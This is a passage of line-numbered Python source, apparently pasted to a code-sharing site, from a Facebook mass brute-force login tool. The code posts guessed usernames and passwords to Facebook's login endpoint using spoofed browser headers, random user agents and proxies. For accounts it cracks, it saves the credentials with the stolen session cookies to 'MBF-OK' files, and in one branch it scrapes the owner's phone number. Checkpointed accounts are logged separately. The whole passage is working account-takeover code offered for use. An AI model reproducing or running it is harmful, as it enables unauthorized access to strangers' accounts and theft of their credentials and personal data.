com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1679.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1680.             'had_cp_prefilled': 'false',
  1681.             'had_password_prefilled': 'false',
  1682.             'is_smart_lock': 'true',
  1683.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1684.             "__dyn": "",
  1685.             "__csr": "",
  1686.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1687.             "__a": "",
  1688.             "__user": "0",
  1689.             "_fb_noscript": "true"}
  1690.             cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  1691.             head = {"Host": url,
  1692.             "content-length": f"{len(str(date))}",
  1693.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1694.             "sec-ch-ua-mobile": "?1",
  1695.             "user-agent": ua,
  1696.             "viewport-width": f"str(rr(400,989)",
  1697.             "content-type": "application/x-www-form-urlencoded",
  1698.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1699.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1700.             "x-asbd-id": "129477",
  1701.             "x-requested-with": "mark.via.gp",
  1702.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1703.             "sec-ch-prefers-color-scheme": "light",
  1704.             "sec-ch-ua-platform": '"Android"',
  1705.             "accept": "*/*",
  1706.             "origin": "https://"+url,
  1707.             "sec-fetch-site": "same-origin",
  1708.             "sec-fetch-mode": "cors",
  1709.             "sec-fetch-dest": "empty",
  1710.             "referer": ref,
  1711.             "accept-encoding": "gzip, deflate, br",
  1712.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  1713.             "x-response-format": "JSONStream"}     
  1714.             links = rc([f"https://{url}/login/device-based/login/async/?api_key=2099441543493930&auth_token=ed9cb45a485f81810505130bc83f37bb&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=2099441543493930&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100"])
  1715.             po = ses.post(links,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1716.             if "datr" in ses.cookies.get_dict().keys():
  1717.                 if 'no' in taplikasi:
  1718.                     ok+=1
  1719.                     coki=po.cookies.get_dict()
  1720.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1721.                     #cooz = ses.cookies.get_dict()
  1722.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1723.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1724.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1725.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1726.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1727.                     prints(tree)
  1728.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1729.                     break
  1730.                    
  1731.                 elif 'ya' in taplikasi:
  1732.                     ses = requests.Session()
  1733.                     head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  1734.                     kon = 'https://mbasic.facebook.com/profile.php?v=info'
  1735.                     req = ses.get(kon,headers = head_pro, cookies = kuki).text
  1736.                     try:
  1737.                          cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
  1738.                          nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
  1739.                     except:
  1740.                          nomor = '-'
  1741.                     ok+=1
  1742.                     coki = po.cookies.get_dict()
  1743.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1744.                     #cooz = ses.cookies.get_dict()
  1745.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1746.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1747.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1748.                     tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
  1749.                     tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))                   
  1750.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1751.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1752.                     prints(tree)
  1753.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1754.                     cek_apk(kuki)
  1755.                     break
  1756.                                
  1757.             elif "checkpoint" in po.cookies.get_dict().keys():
  1758.                 tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  1759.                 tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
  1760.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  1761.                 prints(tree)
  1762.                 open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1763.                 akune.append(idf+'|'+pw)
  1764.                 ceker(idf,pw)
  1765.                 cp+=1
  1766.                 break  
  1767.                
  1768.             else:
  1769.                 continue
  1770.         except requests.exceptions.ConnectionError:
  1771.             time.sleep(31)
  1772.     loop+=1
  1773.    
  1774. #----------[ SYSTEM-CONTROL ]----------#   
  1775. if __name__=='__main__':
  1776.     try:os.system('git pull')
  1777.     except:pass
  1778.     try:os.mkdir('MBF-DUMP')
  1779.     except:pass
  1780.     try:os.mkdir('MBF-OK')
  1781.     except:pass
  1782.     try:os.mkdir('MBF-CP')
  1783.     except:pass
  1784.     menu()    
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement